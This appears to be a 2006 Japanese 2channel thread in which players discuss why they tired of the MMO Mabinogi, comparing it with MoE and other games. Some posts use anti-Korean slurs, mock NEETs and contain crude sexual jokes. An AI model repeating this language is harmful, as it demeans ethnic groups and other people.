>>545 お前が今やってるゲームが神ゲーで、他のゲームが全てクソゲなんだろ?
>>545 そりゃ信者がなんで詰まんないのか解らんのと一緒だとおもう。
マビノギは絵柄だけですべてだめ的な叩かれ方してる場合があるけど
実際プレイ人数はそこらにあふれるリアル造形のMMOより多め。
それはなぜかというとこういう絵柄を好む人口がやっぱり多いからだよ
マビは新規には厳しい仕様だと思う
転生システムがある以上後発組は先発組には追いつけず
格の違いを延年と見せられ続けるゲームになる
そんな俺はベータからやってた勝ち組
そうかな?
確かに累計レベルの数字を比べて合えば追いつくことは無いかもしれないけど、
実戦闘面においては、差は縮まっていくはずなんだけど。
おまけに違いを見る機会も少ないときている。
>548
どっちにしても絵だけで決まるのかー!
>>551 つまり人口的には
可愛い系or単純系デザイン好き>リアル系デザイン好きじゃないかとふと思っただけ
>>549 勝ち組がそーゆうこと言うな
後発自信が身に染みて感じるよそれ
554 :
名無しオンライン:2006/02/03(金) 23:07:31.69 ID:v6oKixbk
あひゃ
ゲームは楽しんだもの勝ち
常にトップにいるために金つぎ込んだり必死になるのはどうかと
それも最初のうちは楽しいだろうが何年つづけるのかね?
5年?10年?
サービス終わったときに燃え尽きるのがオチ
俺は気の合う仲間ができたらメッセ交換して違うゲームでも一緒に遊ぶようにしてる
正直システム云々よりプレイしている仲間の数がおおいゲームで遊ぶほうが楽しいからな
あひゃ
韓マビが先行なのは確定してるのでうpデートの先は見えてるし、
情報が勝手に流れてくるので新要素への楽しみがない。「○○まだー → ○○キタ━ !!」の繰り返し。
備えてレベル上げしたとしても、結局は1でカンスト
しかも、AR「F」のレンジ「1」で敵なしなのでここから先からは自己満足。
韓マビではカンストキャラがぞろぞろいるわけで、
販売戦略、システム的にもそのレベルもリセットされる可能性もある。
>>555が一番正解だな。
558 :
名無しオンライン:2006/02/04(土) 12:21:24.21 ID:NZLjUJP0
もう終焉間近ってことか
南無
「終焉」で抽出したらちょっと笑えた。
空しい努力をしてるなぁ・・・
累積レベルの先がないので、「新規が追いつけない」という人もいれば、
ランク1でスキルランクは打ち止めだから、「先がない」と言う人もいる。
面白いね。
イリア大陸ではレベルがリセットされるとか聞いたから
新規はそこでがんがればいいんじゃない
最近別のネトゲから移ってきて、ここをはじめてみたんだけど
ここでMoEプレイヤーがマビを馬鹿にして楽しんでるように
マビプレイヤーもMoEスレでMoEを馬鹿にしてんの?
興味がないとかツマンネってのはまったくかまわないと思うんだけど
なんでわざわざ自分が嫌いな、クソゲだと思ってるゲームのスレに来てまで叩き合いをしてるのかが
理解不能
マビが最高!MoEが最高!って思ってるんなら
叩くんじゃなくて自分のスレ立てて絶賛しあえばいいじゃないか
なんで自分が他のMMOを馬鹿にしてるのか理由が言えるか?
よく考えて見れば理由も何も思い浮かばないだろう?
ただむかついただけとか、すっきりするからとかいうやつは
とりあえずお茶飲んで寝ろ
楽しかった時期もあって飽きてんだがね
スレタイを見ろよ
>ヒント:関係者が必死
底が見えた
>>562 Moeプレイヤーとかマビプレイヤーとかに見せかけて・・実は信オンプレイヤー
とか。まあ、あれじゃない?自分がやってるゲームが神ゲーで、他がやってる
ゲームが糞ゲーっていいたいのだと思う。
そんなのはどーでもよく、アホラシイと思ってるし気持ち悪い。
でも同期が全くとれてなくてゲームになってないのは流石に糞ゲーとしかいいようがないな・・・
マンセーされてないと気がすまない奴が来たな・・・
スレの楽しみ方くらい分からないでムキになるなよ
やりたいゲームをすればいいじゃない(マリー
俺はマビの表情とか視線とかのシステムが好きだな
いくらモデルが綺麗でも、何をやっても正面固定の顔で無表情とかだと違和感がする…
あと、自分の嫌いなゲームを引っかき回したいって人が煽ってる事もありますね。
Aが嫌いならBのファンの振りをしてAをけなす、とか。
まぁ2chの書き込みを真に受けるのは良くないですよ、と。
571 :
562:2006/02/04(土) 13:42:33.42 ID:D4DWM5wq
>>563 俺に言ってるの?もし俺に言ってるんだとしでも
別にあなたに言ってるわけじゃないんだ
ここは引退者(予備軍)が語るスレなのか?アンチスレなのか?
>>564,565
ごめん、俺には良くわからない
差し支えなかったら意味を教えてもらえないか?
差し支えるんだったら別にいいや
>>566 そうかもしれないな、たしかにアホラシイ
>>567 回線と自分のPCの環境との兼ね合いもあるししょうがないんじゃないか?
同期ズレ、ラグがないオンラインゲームなんてあるのか?
>>568 それは俺のことか?
スレの楽しみ方・・・
よくわからんが、俺はここに来てはいけない人間なのかな?
どう考えてもこのスレの楽しみ方が思い浮かばない
そんなに罵り合いが楽しいのか?
だったら「マビvsMoE 罵り合って楽しむスレ」とかってわかりやすいスレにしてくれ
そうしたら俺はそこには行かない
>>571 お・・・落ち着け。
基本的にここは、マビが少し飽きて来た人 or 引退者予備軍 が何故
飽きたのかを語るスレだよ。
スレに関しては、マビアンチが立てたスレではあるが・・・国語力が無かった
為、アンチスレではなく「何故、マビが飽きてきたのかを語るスレ」として
定着している。
よって、このスレの楽しみ方は・・・マビを十分に満喫してきた者が飽きた理由を
語ることで楽しめる訳です。
ここの
>>1によればここはアンチ隔離のための必要悪な場所らしいよ?
本人が本スレにまで出張して語ってたから間違いない
>>573 即答失礼!
アンチは隔離しようとしても無理。むしろ、白熱して手当たり次第にアンチ行動を
起こす。それよりかは、本スレでアンチ行動を起こして無視されてどこかへ消えてゆく
方が都合いい。
何でマビはこんなんなっちゃったんだろ
ネ糞ンもあからさまにメイプルだけに力入れてるし
あーそれからこのマビアンチテンプレ。作った本人は、適当な時間しか遊んでない
のが丸分かり。マビをやり倒して飽きてきた人達よ、どう思う?
----------------------------------------------------------
☆☆☆マビノギは新規お断りゲーム☆☆☆
キャラを成長させるためには転生することが必要です
転生する度にリアルマネーが必要です
強くなるためにどんどんリアルマネーを注ぎ込みます
しかもその転生はリアルで3週間経たないとできません
新規はどんなに頑張っても前人には一生追いつくことはできません(笑)
初期プレイヤーのみがマンセーできるゲームです
戦闘ではひたすらmobとだけ戦います
スキルが極端に少なくワンパターン化しています
もちろんMMO最大の醍醐味である対人戦の楽しみは味わえません
生産は糞マゾいうえに運が全てです
----------------------------------------------------------
前人に追いつくことがゲームの「全て」、対人が当たり前みたいな自己中的な
文章で萎えたのだが・・。マビは対人嫌いな人が多いし、前人に追いつくぜ!
っていうガツガツした人も少ない。最後の一文は合ってる気はするが・・・w
少ない。
・・・最後の「少ない」って部分は省いてね。orz
追いつくことが不可能
という事実が書かれてるだけじゃんw
その事実に対して萎えるのは個人の勝手だがな
ヒントをあげよう
MoE信者装ってマビ叩いてる、その逆は全部単発ID
ソロプレーヤーの俺としては前人の強さを目の当たりにすることが無いっす
>>578 不可能かい?不可能って言葉を理解しているのかが疑問に思えてくる。
現に私はβから始めて飽きてきた者(前人)だが、転生は最近止めてるぞ。
私がこのままの状態で転生を止め、新規が転生を繰り返せば「前人に追いつく
ことが出来る」と思わないか?
よって、不可能とはいえない。勘違いして反論されても困るがな。
MoE対マビを演出してるとかMoE信者を装ってるとかマビ信者を装ってるとか
言ってる奴いるけどさ、
マビとMoEは実際忌み嫌い合ってる奴らがたくさんいると思うぞ
MoEアンチスレが上がるとすぐマビアンチスレが上がるし
その逆もあるし
どっちかがサービス終了で完全に消えてなくなるまで互いに罵り合うんだろうな
583 :
名無しオンライン:2006/02/04(土) 14:47:13.14 ID:jHZqGCGn
生 産 廃 マ ン セ ー ゲ ー ム
>>582 私はマビもMoeも両方遊んでるタイプだから、まあ・・複雑だわな・・・。orz
正直このスレでMoeとかどうでもいいから
マビのここがこうだったら・・・?とか妄想して遊ぶスレかと
マビは廃人がひたすらマンセーするゲームです
初心者は黙って廃人のオナニー解説を聞きましょう
>>585 生産に光を当てて欲しいものですな。私自身は戦闘職だが、元々生産に走りたい
タイプ。しかしなぁ・・・・ポットも服も武器防具もNPCから全て買えるマビでは、
ちと生産はなぁ・・・・しかも、運だし。
588 :
名無しオンライン:2006/02/04(土) 14:53:19.22 ID:ESYjSS5h
リアルマネーで強さを買うゲームはここですか?
マビの生産は廃とは違うだろ
ただプレイヤーに対して配慮が無い仕様ってだけ
面白みが無いし
>>586 初心者はここに来るべきではない。マビに飽きた人が来るスレだ。
よって、廃人のオナニー解説を聞く必要もない。本スレへどうぞ。
>>588 リアルマネーである程度の強さを買うゲームばかりじゃないのか?MMOってのは。
特に最近の主流だろ?この方式は。
鯖一の鍛冶職人になってやるとか薬剤師になってやるとか
俺ツエーを求めて始めて一度挫けた
今はだんだん深いダンジョンに潜れるようになり、いい装備が作れるようになり
自分1人の中で充実感はあるよ
別に生産はいまのままでいいなぁ
ブロードフェザーの時みたいに付け上がられても困る
マビやめて次何のゲームやろうかな
>>593 やめることはないと思う・・月額課金ではなく、基本無料だし。
様々なゲームを幅広く遊んでみるのが一番いい。基本無料、アイテム課金制
が増えたので、これからの主流的な遊び方だと思う。
無料だからってどこかでキッパリと切る瞬間が必要なんだよ
今は次のゲームが無いけどな
マビノギは行動の自由度が少ないから嫌い
虚空に剣を振ることができないのに
「アクションゲー」なんて到底認められない
「リアルタイムターン制クリック移動ありのコマンド戦闘RPG」
と説明するなら許せるがな
このウソ宣伝のせいで戦闘に期待して入ってきた連中の何割かが脱落してるな
つーかやっぱりすぐ飽きるなこれ やることなくなる
チャットする気がない人間にはお薦めできない
悪いけど俺的にはクソゲー
早く次のゲーム発表しろ
MoEもマビも評価すべきところが違うからどっちが良いとかはないけど、MoEのスレの乱立っぷりはうざいからMoE嫌い
今日もご苦労様であります!
>>596 チャットする気がなくてアクションゲームがやりたいんだろ?
だったらアクションゲームやればいいだろ。
わざわざMMORPGなんてジャンル選んでクソゲーとかすげぇな。
確かにMOEのスレの数は尋常じゃないな
全部見たこと無いからわからないけど
みんな何を語ってるんだろうとは思う
スレ住人のお行儀の良さではマビの方がまともな基ガス
>599
だから最初にウソ宣伝に騙されたんだってば
まあ今は慣れたけどな
アクションRPGなネトゲ自体少ないからぼみょうだよ
>>596 戦闘はマビはスキルジャンケンがやりたかったみたいだから、
間合いとタイミング次第で一方的に勝てるとか、そういうのはやりたくなかったんだろうね。
でもそれだけで、ここに張り付いてアンチになるというのはどうかと思うんだけど。
合わなかったなら別のゲームを探してはどうかい。
MMORPG自体はいっぱい新作あるじゃん?
MMOの中ではアクションゲームだとは思うんだけどな
鯖への負荷とか考えたら本当にアクションなんてできないんだろなーとか思わん?
まぁやることなくなるっていうかやりたいことがなくなるのはあるな
まぁどのゲームやってもそれは一緒だからいいけど
アップデートきた後けっこう遊べるのが嬉しい
メインクエの他にも軽めのサイドストーリーがたくさんあれば
飽きずに遊んでられると思うんだがRPクエ少なすぎ
「クエストで対応」は物量作戦だからねぇ。
1回プレイすればそれっきりだから、際限なく新クエストを出していかないと飽きられてしまう。
それよりもダンジョンに新要素を入れるとか、何回もプレイする部分に力を入れてほしいな。
606 :
名無しオンライン:2006/02/04(土) 16:33:41.99 ID:pRu+kve/
なんかもう諦めている俺がいる
EGでシステム全般に見直しが入ることに一応まだ期待しているが・・・
それで生産とか相変わらずだったら他へ逝くと思う
ちょっとテキスト弄っただけみたいなクエストでもどんどん追加してどんどんハトが飛んでくれば楽しいのにね
木の実を20個
木の実を30個
木の実を50個
木の実を100個
木の実を200個
・
・
・
ありそうでイヤ
生産とかって材料さえあれば誰でも作れるようにすればいいのに
なんで面倒なのばかりなんだアフォかと
生産だけはどのMMOも同じ事やらされてる感じだな
それでいてバランス崩壊してるのばかりだし
業界はいつまで今の糞システムを引きずるつもりなのか
そろそろ斬新な生産システム生み出してほしい
美少女NPCを出したり
NPCにちょっとエロいことできたり
あえぎ声を出したり
すればいいんだよ。
UOを超えられない時点で終了だな。
RFオンラインを超えられない時点で終了だな。
Wurmは素人にはお勧めできない。
シチュー一つ作るのに
・粘土を探す
・粘土を掘る
・粘土でボウルを作る
・木を切る
・丸太から焚き付けを作る
・焚き付けで火をおこす
・粘土製のボウルを入れる
・薪をくべつつ1時間ほど待つ
・実用に耐える陶器のボウルが完成
・野草や野イチゴなどの食べられるものを探す
・ボウルに食材を入れる
・火をおこす
・食材の入ったボウルを火にかける
・充分火が通るまで待つ
・シチュー完成!
と、ここまで手間がかかるんだ!
シチュー1杯ですらこんな調子だから、小屋を1件建てるのに成功したときはものすごく達成感がある。
鉱山から自宅まで道を引いたり、穴掘って水を見つけたり、畑を石垣で囲って侵入者対策をしたりするのもいい。
サバイバル生活を楽しみたいならWurmお勧め、超お勧め。
アレ?
しかもボウル焼くのに火加減が重要何だよ。失敗すると半生だからな
気にするな!最大火力でぶちのめせ!それで普通に焼ける!
ン十キロの丸太をまるごと突っ込むんだ!
木材の使いすぎで後で苦労するけどね・・・
俺は陶芸家なんだよっ!
>>616 まんどくせw
月並だが何でもリアルに近づけたらいいってもんじゃないw
つーかソレMMOなのか?w
MMOだ
へぇー
イライラして頭の禿そうなMMOやなw
そーゆう生活ゲー面白そう
マビだとそれやるのにマトモにアイテム持てなくてだるい
まぁ人を選ぶゲームであることは確か。
しかし>623は他人を尊重するという事を学ぶべきでしょうね。
セックスだったら
金を下ろす。
飲食店を探す。
女を探す。
ナンパする。
飲食店ジャンルがどこがいいかを確認する。
食事する。酒は軽く。
飲みに誘う。
ムードを作る。
ホテルを探す。
ホテルに行く。
キスをする。
服を脱がせる。
愛撫する。
愛撫をする。
まさぐる。
コンドームをつける。
挿入する。
動かす。
絶頂する。
とかの手順を踏まなければならなさそうで面倒だな。
>>627 ちょ・・・どした?IDでログ検索してみれば、なぜかエロの話が多いな・・・。
ちとはスッキリさせてから書き込もうぜー
>>628 何とかエロの流れに持っていこうとオレも必死なんだよ!
分かったらちっとは協力しろよ!バカ!マンコ!
>挿入する。
の前に
コンドームを外す。
が抜けてるぞ
だめだ
何するにしてもかったるい
生産の手間をほとんどなくして誰でもやれるようにすると、
生産キャラなるカテゴリがなくなってしまうよね。
簡単に手に入るものに高値がつくはずもないから、
経済活動には使えないものになる。
手間と時間をかけることによって、そこに労力を傾けなかった人たちが
買いたくなるようなものができることが重要。
魅力的な完成品の適切な難度のレシピが必要なんだよね。
マゾいかもしれないが、
今のMMOの生産システムが根本的に変わることはなさげ。
物を作るのが目的でスキルを上げてるっていうより
スキルを上げるために物を作ってる感じ
手段と目的が逆転してる
儲からないしな
材料の方が高いもんな…
何とか材料を消費しまくらないと生産スキルを上げられないってのを
改善する方法は無いものか
必要なものを作る時にだけ材料が必要ならこんなことにはならなそうなものを
それかやっぱ戦闘と生産を完全に切り離すかだろうなぁ
強くなりたいから生産上げるって人がでてきて
その人らがバカな額で材料買うから
生産だけしたい奴が買えないとかアホらしすぎる
>>633 なんかゲームしすぎて頭おかしくなってるんだろうけどさ、
物の価値ってのは、どれだけ時間をかけたか、苦労したか、ではないよ
すぐ手に入る有用な何かがあったとする
同じくらい有用なもので生産スキルで手間をかけないと手に入らないものがあるとする
上のものより下のものの価値が高くなるのは当然だと思うんだけど
638 :
名無しオンライン:2006/02/05(日) 02:21:57.14 ID:tKiFD+Oa
メインストリームまっしぐらな俺にはG3を攻略完了が怖い
最終が終わったら目標が・・・
と言うわけでFBLかARでも目指してみることに
目標が高いから半年か1年は楽に持つぜ!
無理無理絶対飽きるw
キャラが攻撃で吹っ飛ぶとかマビスレができた最初のころはそれだけでも興奮してたよ
キャラが吹っ飛ぶMMOってマビくらいしか無いじゃない?
他のMMOは遅れてまくってるな
敵をふっとばしたりしながら距離を取りつつ戦闘するゲームはあんまないよな
大抵のゲームは近づいてクリックかキー押すだけだ。
RO出身の初心者に色々と教えていた人が
何回教えてもカウンターに突っ込んで「これ難しい」とか言ってたそうだ
MMOはクリゲーばっかだからな
そこからマビに来るとキツイ人も結構いるだろうな
MoEふっとぶじゃないか
タックルするのか?するのか?
MoEもマビと同じくクリゲーじゃないからな。
そこらへんが変に酷評されるのかもな
クリゲーがイヤなら
信長やればいいじゃない。
クリゲーじゃないぞ。
MOEはニュータイプゲーだから
古い地球人には楽しめないんだよな
アニメ好きという事自体はどうとも思わないけどさ。
アニメとまるで関係無い話の時に、例え話でアニメを例にとって説明するってのはどうなのよ?
判りやすくて良い
分からなければスルー
だめだ
マビノギの適当な世界観にはついてけねぇ
システムはもうちょっと改良すりゃいいかもしれんが
目に見える部分をまったく別物にしてほしいわ
ファンタジーはもう秋田
>>653 お前はマビノギに飽きる以前の問題だ。
巣に帰れw
背景世界が月並みで魅力が無いってのはありますね。
ケルト云々なんてクエストでちょこっと出るだけ、それも適当な部分を摘み出して使わせてもらってるだけって感じだし。
アメリカで日本料理が食べたくて和風料理店に入ったら、フジヤマゲイシャスシテンプラなお店だったって感じかな?
ケルトっぽい雰囲気なんて微塵も無い。
>>655 世界観が月並みってのはまぁ、その通りなんだが
>ケルト云々なんてクエストでちょこっと出るだけ
でもないぞ。固有名詞なんかは結構出てくる。
NPCの会話とか、本とかきちんと読んでないだろ?
ケルトの世界観バリバリといったところで
日本人の多くはそんなもの知らないんだから
あんまり受け入れられないだろうな。
水戸黄門に代表される「お約束大好き」文化だしな。
657 :
名無しオンライン:2006/02/05(日) 23:43:34.27 ID:KOYcTVXc
世界が小さすぎる。対人が無いからすぐ飽きる。移動が糞疲れる
飽きちゃった理由なんて挙げればキリ無いよ
お前らナオでオナっといて飽きちゃったとかひどいやつらだな
>656
ライトファンタジーでよくある「なんちゃって東洋」とか「なんちゃって南国」みたいなのは嫌だっていうことなんだよー
バリバリな方がよっぽどいいと思うんだけどなぁ。
>>659 その部分に関しては洋ゲーやれよ。って話だな。そりゃ。
俺が言いたいのは前段で、後段はどうでもいい。
細かいところでリアルであればニヤニヤできるよ。
特に鎧や武器。チャラチャラしてないんだよね。本当にあった武器防具だし。
だからデザコン鎧には抵抗あるんだよな。
ただ、本当にあった武器防具が時代背景無視してゴッタ煮になってるのはどうか
問題ない
ニート、無職など、社会的に弱い、
認められない人間であればあるほど、
ゲーム内で他人に対してさまざまなことを求める。
それが高じて、ゲーム自体や、
さらにはゲームをやっている人間自体に
あれこれ求める。
アンチみたいのはみんな社会不適合者でいいよ。
それだと信者も社会不適合者になるぞ。
現状に満足して何も望まないのが信者なのか?
信者だって、いや信者だからこそ望む物だってあろうよ。
どっちもヲタで社会不適合者でいいじゃんw
まともな社会適合者はこんな場末で非生産的に愚痴愚痴やらないよ。
運営に直接目に付く形で要望出すか、何も言わずに去るだけ。
”やってはいけない”なんて身のまわりの人間が手を出したときにこっそり言うもんさ。
むしろ俺以外の人間は社会不適合者。
これで万事解決だ。
ネトゲなのに
ゲーム内すら建前上のコミュニケーションしかとれなくて
本スレで馴れ合って語ってること自体がある種「病気」だと思うし
現実でコミュニケーションのとれない連中の、社会性に欠けた間違った遊び方だと思うけどな。
ネトゲ自体がってのはなしで。
と、精神病患者が申しております
夢が広がりんぐと言いたいのかなあ
>>669 無職さん、あなたはここにいていいんだよ。
あなたがニートでも、社会的に地位のある人でも同じです。
あなたがあなたであることには変わりありません。
あなたにまったく社会性がなくても、
私にとっては何にも関係ありません。問題ありません。
ニートはいいですね。羨ましいです。働かなくてもメシ食えるんだから。
そういう意味で、私なんかよりも勝ち組だと思いますよ。
ネットゲーム、がんばってくださいね。
>>669 アイタタタ
>>673 お前にとってニートは羨ましいかもしれないが
ニートは社会的弱者だ。
そっとしておいてやれw
>>672 つっこむまでもないほどそのくらいの改変はよくある
ニートによるニート批判キタコレ
677 :
名無しオンライン:2006/02/07(火) 13:23:35.29 ID:V42B8q6t
オマエモナー
>>656 昨日の水戸黄門クソワロタ
雨が降ってきて雨宿りさせてもらう
↓
そこは善良そうなオヤジと若い娘の二人暮しの家、内職とかしてる
↓
そこに借金取りが襲来。
「金がないならモノもらってくよ!」
娘を捕まえて「体で払ってもらおうかい。この器量なら稼ぎ口はいくらでもある」等、基本セリフを改変すらせず連発
↓
水戸黄門様部隊がちょっかいを出して借金取り退散。
ここでも、「おぼえてろ!」的な捨て台詞まで欠かさないという念の入りよう。
これが未だに、再放送でもなんでもなく新作として、お茶の間に流れるのが今の日本なんだよな。
クリステルが処女じゃないと知ってやめてしまった
クリ様は処女だよ
>>671 4枚目で吹っ飛ばされてる狐にこっち見んじゃねって言いたい
あれここ結構有意義なスレだと思ってたけど・・・
684 :
名無しオンライン:2006/02/07(火) 21:51:52.51 ID:hZUyRERE
本国でもすでにやってるやつがいないんだろこれ?
684 名前:名無しオンライン[] 投稿日:2006/02/07(火) 21:51:52.51 ID:hZUyRERE
本国でもすでにやってるやつがいないんだろこれ?
685 名前:名無しオンライン[sage] 投稿日:2006/02/07(火) 21:58:54.13 ID:TyChbv+R
684 名前:名無しオンライン[] 投稿日:2006/02/07(火) 21:51:52.51 ID:hZUyRERE
本国でもすでにやってるやつがいないんだろこれ?
韓国に帰れよ^^;チョン
韓の「ゲームチャート」のオンラインゲームランキング1月下旬の順位は
MMORPGだけみると
1.リネージュ
2.リネージュU
3.ワールドオブウォークラフト
4.ローハン
5.ミュー 〜奇蹟の大地〜
6.熱血江湖オンライン
7.カバルオンライン
8.デカロン
9.英雄オンライン
10.マビノギ
だそうだ。
10位てのがドレくらいのアレなのかは知らん
ミューとかデカロンが入ってる国のチャートじゃ参考にならんな
690 :
名無しオンライン:2006/02/07(火) 23:58:34.48 ID:zORZzTZS
しょせんチョンゲ
日本最大のラグナロクがランク外の国のチャートじゃね
動画見る限りじゃ韓国マビノギ人口は日本のそれより多いのは間違いないな
693 :
名無しオンライン:2006/02/08(水) 02:15:47.11 ID:37y4pyry
過疎ノギ
なんでもかんでプレイヤーから金搾り取るっていう考え方を何とかしろネ糞ン
アイテムスペースが少な過ぎ
んでエクストラステージで金払った以上は満足させろ
銀行の右半分も使ってもスペースが足りない
このゲーム一アイテム99まで持てるようにしろと
>>694 だってお金払ってくれる人がいるんだもん
697 :
名無しオンライン:2006/02/08(水) 10:09:39.73 ID:bgVhy1jb
チョンゲーの限界が見えたゲームだったな
>695
つ[冷蔵庫の法則]
>>674 彼が自ら建前のコミュニケーションなどではない、
本音で語り合うようなかかわりを持つことが望ましいと
言っていることで、彼も望んでいることです。
だから私は、彼がニートであっても、社会性のないクズであっても、
彼に接しようと思う。
普通ならお節介で、ウザがられるだろう。だから私も普通なら触らない。
人にはそれぞれ事情があるしね。それらに首を突っ込むのは余計なお世話だし、
問題を大きくしかねない。正直言って、首を突っ込むことの方が迷惑になる
ことのほうが多いです。大概、揉め事が起きるのは第三者がいらん口挟んで
ややこしくなるからです。
でも、彼がそれを望んでいる。なら、それに答えるという選択肢だってあってもいいと
思うんです。
無職さん、あなたを否定しません。出てきてください。
マビノギ飽きちゃった理由を、語り合いましょう。
ニートであろうと、無職であろうと、そういった社会的な立場は、
ここではまったく関係ないんですよ。
読むのメドイ
悪いけど、三行にまとめてくれる?
その長文書く力をどこかに・・・ぐふっ
>(Sensation) Gaku : ま、U国みたいに弱いのの寄せ集めだけは勘弁だな
>(Sensation) Gaku : Gakuは「学」と書く。俺が何かを「学」ぶんじゃなくて、お前らが俺から「学」ぶってことなんだ
>(Sensation) Gaku : BSQは俺の世界の一部にすぎない
>(Sensation) Gaku : nejimakidoriがコーマハーベするのを見たとき「パクられた」って思った
>(Sensation) Gaku : MILDIN一派が出てくると暇つぶしになる
>(Sensation) Gaku : 俺には俺より下手糞な指揮官の発言は見えない
>(Sensation) Gaku : 最近のビスクメンはちょっとなさけねえよ
>(Sensation) Gaku : 盾を使う人は精神的に弱いんだよ
>(Sensation) Gaku : (miraiについて)根性ある、凄い根性ある
704 :
名無しオンライン:2006/02/08(水) 20:57:38.43 ID:lkqk3g5F
ナオとかいう狙いすぎウザ糞ヲタキャラがいるせいで
楽しく遊べない
だ め だ ま ぞ す ぎ
>>704 ナオ様が居なかったらとっくに辞めてます
707 :
名無しオンライン:2006/02/08(水) 21:45:47.85 ID:lkqk3g5F
うっせーよバカ
明日からMoEやってやる
明日は手続き鯖がハングするから
当日にMoE出来ないぞ。
くっそー店番してるぶたのハーブ抜かせろっ!!!!!!!!
辞めてくやつってさ、大概やる事なくなったって言って大概やめてくよなー
そんな言う俺も3週間に2,3回INしかしてない
それだけでもキャラモリモリ成長するんだけどね
やる事ホント無いなぁ、未だにフルで活動出来る古参居たらすごいと思うよ
イリア実装期待sage
1日1時間くらい向きなのかもね。
年とるだろうけど。
このスレに飽きちゃった?(´・ω・`)
言うべきことは大体言ったからじゃない?
715 :
名無しオンライン:2006/02/09(木) 19:18:45.70 ID:e38frOmY
今日はMoEでイベント(笑)あるからアンチも静か。
結局頑張ってたのはMoE厨だったの><?
MoEのイベントは昨日の夜8時には終わってたし違うかと。
単にアンチが飽きちゃったんでしょ。
マビにもすぐ飽きるくらいだしこらえ性がないんだよ。
718 :
名無しオンライン:2006/02/10(金) 10:48:51.45 ID:ltoSAymW
>>717 マビノギに金払って必死転生してる馬鹿は、忍耐力があっていいですね。^^
719 :
名無しオンライン:2006/02/10(金) 12:18:22.41 ID:JjcEZeco
>>718 そういう煽り返しをするなよ
言いたい奴には言わせておけばいいんだ
ムキになったら負けだぞ
アンチにも忘れ去られるってちょっと寂しいな
飽きるほどやってねえ・・・。
10箇月ほどやってるのに一日2時間くらいしかできん。
マビでそれだけ持てば十分だろwたいしたもんだ
>>722 まあな。ログインしてるだけとかで
ほとんど動いてねえんだよ
何してんだろなオレ。ホントに
でもそのくらいのペースのほうが続く気がする
必死になるとすぐ息切れしてくるゲームだ
MoEとマビの住民はけっこう同時プレイしてる奴いるみたいだぞ。
その中で一方のゲームに飽きた香具師がいたとしたら
MoE住民が煽っているように見えるかもしれん。その逆も当然ある。
俺も両方かなりはまってた時期があったしな
もう両方ともかなり末期な気分になってきてるがな個人的に
727 :
キンタマ売り:2006/02/10(金) 20:17:44.74 ID:60FiNkct
(´・▽・`)つω キンタマ買わない?
末期度がMoEとマビじゃ全然違う感じだけどな。
マビはゆるやかに死に向かってる。
かたやMoEは既に死んでて奇跡でも起きないと生き返らない。
やりがいのある生産とかMoEにも好きな点が多かっただけに残念だよ。
起こらないから奇跡っていうんですよ
もし奇跡が起こって生き返ったとしても
ゾンビ状態で、かなり腐ってることは明らか
どうせ死ぬならバサっと死んでほしいよ。
生焼けでは不死鳥も蘇られん。
>>729 起きることもあるから奇跡って言うんだろ?w
なんかこのスレ見てたら可哀想になってきた
まぁ…その、がんばれ
,イ: : : : : : : : : : : : : : : : : : : : : : : : : ``' .,
. /: : : : : : : : : : : : : : : : : : : : :_____ : : : : :`' 、
. ,イ: : : : : : : : : : : : : :.,. ,.ィ: : : : : ......::::::::::::::::::``' ‐ . ::::ヘ
/___,,... -‐ '"´: : : : : :...:::,. ‐''"ヽ ̄`` 、:fハ `ヽ:.!
ヽ,:::::::::::::::::::::::::..................,. r '": : : :ヘ: :ヘ:.ヽ:.:ヽ: : :iー'!:::::::ハ|
/ 、:::::::::::::::::::::::,. ril":|.|!| | : ハ: : :.ハ:.:ハ: :ヘ: :ヘ: :|.:|ヽ__,,.ィ
,'.,',':.,'`:'i ''''! "´:l !| ||: :!.| l. l: : ハ: : :.ハ:.:ハ : ハ:.:ハ: !:ト、!
,'.,',':.,' i: l: :l l:!:!: :|.l |:i.|:.:| l. l !: : ハ : : :l:!: :!: :.ハ: :.l:.!:!:.:|ヽ、
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ヘ',{:ハ` 弋tィリ 、 / 弋辷イス" .| :.:.:|!:.:.:|:.:!| l:ハ |/`
. |:!ハ ゛"´ f'""ヤ / ,'!:.:.:.|:!:.:.:|:.:.!. !: |
. !: :`'‐--‐''" ' `''‐---‐''" / |: : :| !: : |: :.! |、|
! : ! l ` .、 - ィ!: :!:.:.:.l :|: : :l: :.! ` きさまら
. ! : ! :| :.l:.:l.` ., ,. イ |:.:|:.:.:.l : | : : l: :.! 仕えるなら
! : ! :.| :.| :|:.:.| :.>、‐'" _,. r''"|:.|: :.:l:.:.:ハ: : :l : ! きっちり仕えろよ
. l : !:.:.:|:.:.| :|:.:.|___r‐! Y´ ,ィ':|: :.:!r.、:.:ヘ: :.',:.:!
l : !:.:.:,. r‐ヽ‐'|::::::::ハ_|__ ,.イ :::::l:.:.:.!:.イ `'‐- .、:.:|
. |: :.,ィ'´:.ハ` ,r‐、::/;;:ハヽ::::::::::::l: : !'"__,> ''"´:ヽ
,'|: ,' : : /く´ /~! Y´!;;;ソ:::l_;;: イl: : ! ハ /: : : : : : :.ヘ
,':|:.:| :.:./ く,/'イ " ', ヘ':::::::!. l: :.!--‐/: : : : : : : : :.ハ
/: !: i: :/: : : i. ' i::::::::! !: :l /: : : : : : : : : : :::!
もっとエロい絵のMMOがでちゃったから
新しいアルバイトマダー?(チンチン
酒場バイトを未だに待ち続けて俺が居る
737 :
名無しオンライン:2006/02/15(水) 13:19:42.40 ID:83wxD7n+
この時間も本スレは最強厨ばかりだね。
そういえばゲーム内も特化キャラいなくなったなぁ。
738 :
名無しオンライン:2006/02/15(水) 17:51:48.84 ID:f914hxLa
今からマビノギやる
終わる終わらないの定義付けとか基準とかは置いておいて
課金開始して1年近く経っても元気なMMOって今あるの?
ユーザー数を順調に増やしてるとかなら、昔やってたリネージュ2なんかも勢いあるって言えるけど
でもぶっちゃけリネ2なんてゲームとしての寿命は見えてる気がする
マビ以上に元気なMMOあるなら、やってみたいから教えて欲しいんだ
頻繁にアップデートされてるから続けてるけど
これがなくなったら一気に過疎ると思うの
>>738 上手くディフェンススキル使って反撃してね。
敵のカウンタースキルに攻撃しにいって吹っ飛ばされてむかついたら、
そのまま吹っ飛びながら元のゲームに帰ってね。友達が待ってるよ?
私は好きだナ。このゲーム。
マビ飽きた。つーかクリックだるくなった。
なんでキーコンできないんだあれ・・・
UIも糞すぎる・・・
クリックだけで操作簡単=便利じゃないってなんでチョンゲーは分らないんだろ。
あの戦闘システムでキーコンできてパッドでやれば結構楽しそうなんだが・・・
パッドあったら買うな。
ファミコン世代のソフトじゃないかと思わんばかりのダンジョン
一画面に収まってしまう正方形の部屋が通路で繋がってるだけ
